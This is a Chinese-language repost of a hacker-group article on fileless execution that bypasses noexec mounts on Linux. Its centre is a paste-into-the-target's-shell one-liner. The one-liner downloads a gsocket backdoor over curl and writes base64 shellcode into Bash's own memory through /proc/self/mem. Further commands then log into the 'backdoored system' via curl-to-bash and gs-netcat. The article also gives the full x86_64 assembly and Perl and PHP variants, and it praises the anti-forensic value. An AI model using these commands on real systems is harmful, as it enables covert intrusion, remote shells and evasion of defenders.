声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
原文地址:https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries
前言
项目地址:https://github.com/hackerschoice/memexec
无文件执行是指在不触及文件系统的情况下运行可执行文件。这一概念并不新鲜,以前的研究中已有讨论。
省流:在不允许执行的 Linux 系统上(例如受限的 PHP 环境、只读文件系统或带有 noexec 挂载标志的环境)执行二进制文件。仅使用 Bash,并从 Bash 中调用 syscall(2),将 ELF 二进制文件直接通过网络传输到 Bash 的地址空间——不接触硬盘,也不使用 ptrace() 或 mmap()。
以往的许多技巧都调用了 mmap(2) 或需要 ptrace(2),因此在使用 noexec 挂载标志或禁止 ptrace 的情况下会失败。
虽然我们承认在这一领域站在前人的肩膀上,但我们提供了一种快速且可靠的无文件执行技巧,其唯一要求是 Bash 和一些核心工具(cat、cut、base64 和 dd)。
Bash 仅作为我们的 shellcode + 后门的孵化器(想想《异形》)。我们还提供了使用 Perl 或 PHP 实现相同功能的方法(不依赖 cat、cut、base64 或 dd)。此外,Perl 变体不需要访问 /proc/self/mem,因此在容器中也能工作。而 PHP 变体非常适合那些没有 Shell 访问权限和执行权限的 Web 云服务提供商。
那么,为什么你需要无文件执行呢?
你没有权限在主机上写入任何位置。
你有权限写入某个位置,但无法执行任何内容,而用户空间执行(ulexec 或 ld-linux.so)失败(noexec)。
常见的 tmpfs 位置如 /dev/shm 被标记为 noexec。
这通常被视为一种良好的运维安全/反取证实践,因为你的二进制文件在重启后不会留下痕迹。
这个执行技巧使用了社区发现的两种独立技术。
创建内存支持的文件描述符:使用 memfd_create(2) 系统调用创建一个文件描述符,该文件描述符指向完全驻留在 RAM 中的文件,不依赖于持久存储。这可以用于(临时)存储我们希望执行的文件。
通过写入 /proc/self/mem 修改进程镜像:/proc/self/mem 提供了一个简单的文件接口到进程内存,我们可以利用这一点将任意 shellcode 写入进程内存,为了实际执行 shellcode,我们可以选择由指令指针持有的内存位置,这样当 CPU 恢复执行时,我们的 shellcode 就会被执行。
将以下内容复制并粘贴到目标的 shell 中(警告,任何阅读这篇文章的人都知道用于登录系统的 SecretChangeMe。请更改!):
curl -fsSL https://thc.org/gs-demo.x86 \
| GS_SECRET=SecretChangeMe bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
然后使用以下命令登录到你被后门化的系统:
S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
或者:
gs-netcat -i -s SecretChangeMe
现在让我们逐步分析这个技巧:
从外部源获取二进制文件/后门,并通过管道传输到 bash 的标准输入。
启动一个 Bash 进程。命令行 -c 包含 3 条命令,用分号分隔,由 Bash 依次执行:
Bash 切换到 /proc/$$(与 /proc/self 相同,但更短)。
创建文件描述符(4)。
最后一条命令包含子命令
$(cat syscall | cut -f9 -d" ")
,Bash 需要在调用 dd 或 base64 之前执行此子命令。Bash 通过分叉并在 wait(2) 系统调用中等待子进程完成来执行此子命令。在等待期间,父 Bash 的指令指针可以通过 /proc/$$/syscall 获取——这是 wait(2) 系统调用的地址,位于 libc 内部。
生成的子进程输出此指令指针。随后,dd 将使用此地址作为命令行选项,覆盖 wait() 系统调用的存根(例如,libc 中的 .text 段的某个位置)。
一个 base64 编码的 shellcode 被解码并通过管道传输给 dd。
然后,dd 定位到步骤 4 中的内存位置,并将 shellcode 从标准输入复制到进程的内存(使用步骤 2 中打开的文件描述符)。
Bash 再次在相同的 wait(2) 系统调用中等待 base64 和 dd 完成执行。这一点很重要。
Bash 不知道在等待期间,它自己的 .text 段已经被我们的 shellcode 替换——在 Bash 正在等待的那个位置。
一旦 shellcode 被写入进程内存并且最后一个由 Bash 执行的程序(即 dd)退出,控制权将返回到 Bash。执行从指令指针所持有的内存位置恢复,然而我们已经用我们的 shellcode 替换了该位置。现在执行的是我们的 shellcode。
现在看看 shellcode 本身,以及它如何执行我们的二进制文件:
section .text
global _start
_start:
; 创建一个缓冲区
mov rbp, rsp
sub rsp, 1042
; 创建内存文件描述符
mov rax, 0x6c656e72656b ; kernel
push 0
push rax
mov rax, 319 ; memfd_create
mov rdi, rsp ; 名称 - kernel
xor rsi, rsi ; 不使用 MFD_CLOEXEC
syscall
mov r8, rdx ; 保存 memfd 编号
loop:
mov rax, 0 ; read
mov rdi, 0 ; stdin
mov rsi, rsp ; 缓冲区指针
mov rdx, 1024 ; 每次读取的字节数
syscall
mov rdx, rax ; 将读取的字节数存入 rdx
; 检查是否到达文件末尾
cmp rdx, 0
jle exit ; 如果读取的字节数为 0,关闭文件
; 将数据写入 mem_fd
mov rax, 1
mov rdi, r8 ; mem_fd 编号
mov rsi, rsp ; 缓冲区
; rdx 已经存储了之前读取的字节数
syscall
jmp loop
exit:
; execveat 执行 memfd 中的程序
mov rax, 322 ; execveat
mov rdi, r8 ; memfd
push 0
mov rsi, rsp ; 路径(空字符串)
push 0
push rsp
mov rdx, rsp ; ARGV(指向包含指向空字符串的指针的数组的指针)
mov r8, 4096 ; AT_EMPTY_PATH
syscall
; 退出程序
mov rax, 60 ; sys_exit
mov rdi, 99 ; 退出代码 99
syscall
使用 memfd_create
系统调用创建一个内存支持的文件描述符。
在循环中,将二进制文件的内容从标准输入复制到内存支持的文件描述符(记住——我们通过标准输入将二进制传递给 bash)。
一旦二进制文件完全复制到内存文件描述符中,就使用 execveat[6] 来运行存储在内存文件描述符中的二进制文件。
Perl 和 PHP 变体:
Perl 原生支持系统调用:我们不
需要 shellcode。不需要覆盖任何正在运行的进程内存。不需要访问 /proc/self/mem,并且在 ptrace 不可用时也能工作:
perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; \
open($o,">&=".$f); \
print$o(<STDIN>); \
exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
测试:cat /usr/bin/uname | per '....' -a
PHP 不允许分叉。因此我们使用 PHP 的 fgets() 来读取 /proc/$$/syscall,并在 libc 的 fgets 存根之后覆盖 .text 段。稍后,我们需要再次调用 fgets() 来触发我们在读取(2)系统调用返回后执行的 shellcode(libc 的 fgets 调用 read(2) 系统调用)。
后续工作:
我们版本的 shellcode 仅在 x86_64 机器上工作,其他架构还有很多,我们相信 x86 和 arm 的版本会很有用,我们将此留给社区作为练习。如果你制作了其他架构的版本,请在这里提交 PR。
此技巧可能不工作情况:
当访问 /proc/self/mem 被限制时,只有 Perl 变体会工作(例如,在容器内)。
当 SELinux 或 GRSecurity 存在时,可能会限制对 memfd_create 的访问。
防范措施:
此技巧(稍作修改)在仅提供 ptrace()、mmap() 或 memfd_create() 之一的情况下也有效(禁用 ptrace 也将导致 /proc/self/mem 返回 -EPERM)。可能还有许多其他技巧可以实现相同的效果……请问问你的蓝队,祝好运。
备注和参考:
它确实调用 mmap(),但不是在任何非 exec 挂载点的位置(这将失败),而是在内存文件描述符上,因此我们没问题。
无文件执行由 tmpout.sh:https://tmpout.sh/3/10.html 提出,grugq (2004) - 链接1:https://seclists.org/bugtraq/2004/Jan/2, 链接2:https://phrack.org/issues/62/8.html#article
好吧,人们仍然可以获得内存快照。
文档对 memfd 页面是否可以被交换到磁盘保持沉默。
有理由认为 SELinux 和 GRSecurity 可能不想限制 memfd 的使用,见 https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/。
execve 可以代替 execveat,但这需要 memfd 的确切路径(例如:/proc/self/fd/4),处理字符串在汇编中很麻烦,@skyper 建议使用 execveat 技巧,它可以直接接受创建的 fd 编号。
我们在 https://x.com/David3141593/status/1386678449604108289 找到 /proc/self/mem 的技巧。
wait*() 系统调用会暂停调用线程的执行,直到其子线程之一终止。(来自手册页)。